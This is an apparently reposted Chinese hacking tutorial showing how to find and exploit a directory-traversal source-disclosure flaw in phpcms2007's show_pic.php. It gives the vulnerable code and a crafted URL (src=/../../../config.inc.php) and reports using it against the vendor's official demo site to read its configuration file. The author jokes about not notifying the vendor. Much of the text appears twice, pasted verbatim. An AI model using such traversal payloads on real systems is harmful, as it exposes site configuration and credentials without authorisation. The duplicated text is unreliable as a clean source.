关于简单的php源代码泄露漏洞的发掘
网络安全 2021-07-03 09:19www.168986.cn网络安全知识
我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿
这次我发掘的是phpcms2007的源代码泄露漏洞
向Phpcms2007的开源行为致敬!!
开始吧,
findstr /s /n /i readfile .php >readfile.txt (结果我只给出有用的)
其他的文件操作函数可以自己定义查找
module\picture\show_pic.inc.php:8:readfile($file);
跟进这个文件看看吧,呵呵,比较小,我喜欢
[Copy to clipboard] [ - ]CODE:
<?php
defined(’IN_PHPCMS’) or exit(’Aess Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/mon.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。 先包含文件/module/’.$mod.’/include/mon.inc.php 如果存在变量$src则赋予它路径并把值交给变量$file 然后就是就进入if 这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能 然后就header()一个图片头 呵呵,轻轻松松就readfile($file); 可以看出它没有判断$src的文件类型,如果我们提交一个src=.php也会被readfile 好吧,在这里漏洞是出现了 不过由于“defined(’IN_PHPCMS’) or exit(’Aess Denied’);”,所以我们是无法直接利用这个漏洞文件的 只能是在其他包含这个文件的php文件中利用 继续吧 [Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php .php >show_pic.inc.php.txt picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
进去看看 [Copy to clipboard] [ - ]CODE:
<?php
require "./config.inc.php";
require "../include/mon.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了
那就测试吧 官方是演示站是 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms./
那就这样构造url [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件 直接访问 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜测没错!! 那我们可以先访问http://demo.phpcms./抓包 用nc发包 get选项就设置为 [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了 测试结果如图 ok,就分析到这里了 希望大家不要利用这个做违法的事,嘿嘿!! 偶是坏孩子,不通知官方了~·好孩子去通知下。
<?php
defined(’IN_PHPCMS’) or exit(’Aess Denied’);
require PHPCMS_ROOT.’/module/’.$mod.’/include/mon.inc.php’;
isset($src) or exit;
$file = PHPCMS_ROOT.’/’.$PHPCMS[’uploaddir’].’/’.$CHA[’channeldir’].’/’.$MOD[’upload_dir’].’/’.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.’/images/error.jpg’;
header("Content-type:image/pjpeg");
readfile($file);
?>
一路分析下。。。 先包含文件/module/’.$mod.’/include/mon.inc.php 如果存在变量$src则赋予它路径并把值交给变量$file 然后就是就进入if 这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能 然后就header()一个图片头 呵呵,轻轻松松就readfile($file); 可以看出它没有判断$src的文件类型,如果我们提交一个src=.php也会被readfile 好吧,在这里漏洞是出现了 不过由于“defined(’IN_PHPCMS’) or exit(’Aess Denied’);”,所以我们是无法直接利用这个漏洞文件的 只能是在其他包含这个文件的php文件中利用 继续吧 [Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php .php >show_pic.inc.php.txt picture\show_pic.php:4:require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
进去看看 [Copy to clipboard] [ - ]CODE:
<?php
require "./config.inc.php";
require "../include/mon.inc.php";
require PHPCMS_ROOT."/module/".$mod."/show_pic.inc.php";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了
那就测试吧 官方是演示站是 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms./
那就这样构造url [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件 直接访问 [Copy to clipboard] [ - ]CODE:
http://demo.phpcms.//picture/show_pic.php?src=/../../../config.inc.php
呵呵,猜测没错!! 那我们可以先访问http://demo.phpcms./抓包 用nc发包 get选项就设置为 [Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了 测试结果如图 ok,就分析到这里了 希望大家不要利用这个做违法的事,嘿嘿!! 偶是坏孩子,不通知官方了~·好孩子去通知下。
上一篇:Informix注入整理
下一篇:SOCKCAP代理的设置方法(图)
网络安全培训
- 网络安全常见漏洞类型 网络安全常见漏洞类型包
- 绿色上网顺口溜七言 绿色上网的宣传标语
- 网络安全等级保护测评 网络安全等级保护条例
- 如何加强网络安全 网络安全隐患有哪些
- 网络安全防护措施有哪些 网络安全等级保护等级
- 如何保障网络安全 如何做好网络安全保障工作
- 维护网络安全的措施有哪些 维护网络安全的主要
- 网络安全工程师好学吗 2024年网络安全工程师好学
- 网络安全注意事项简短 网络安全注意事项100字
- 网络安全面临的挑战 当前网络安全面临的新问题
- 网络安全培训哪个靠谱 网络安全培训找哪个
- 普及网络安全知识内容 普及网络安全教育
- 网络安全防范知识宣传内容 网络安全防范知识宣
- 如何做好网络安全工作 如何做好网络安全工作
- 网络安全常识的丰富内容 网络安全的相关知识
- 青少年网络安全教育片 青少年网络安全知识讲座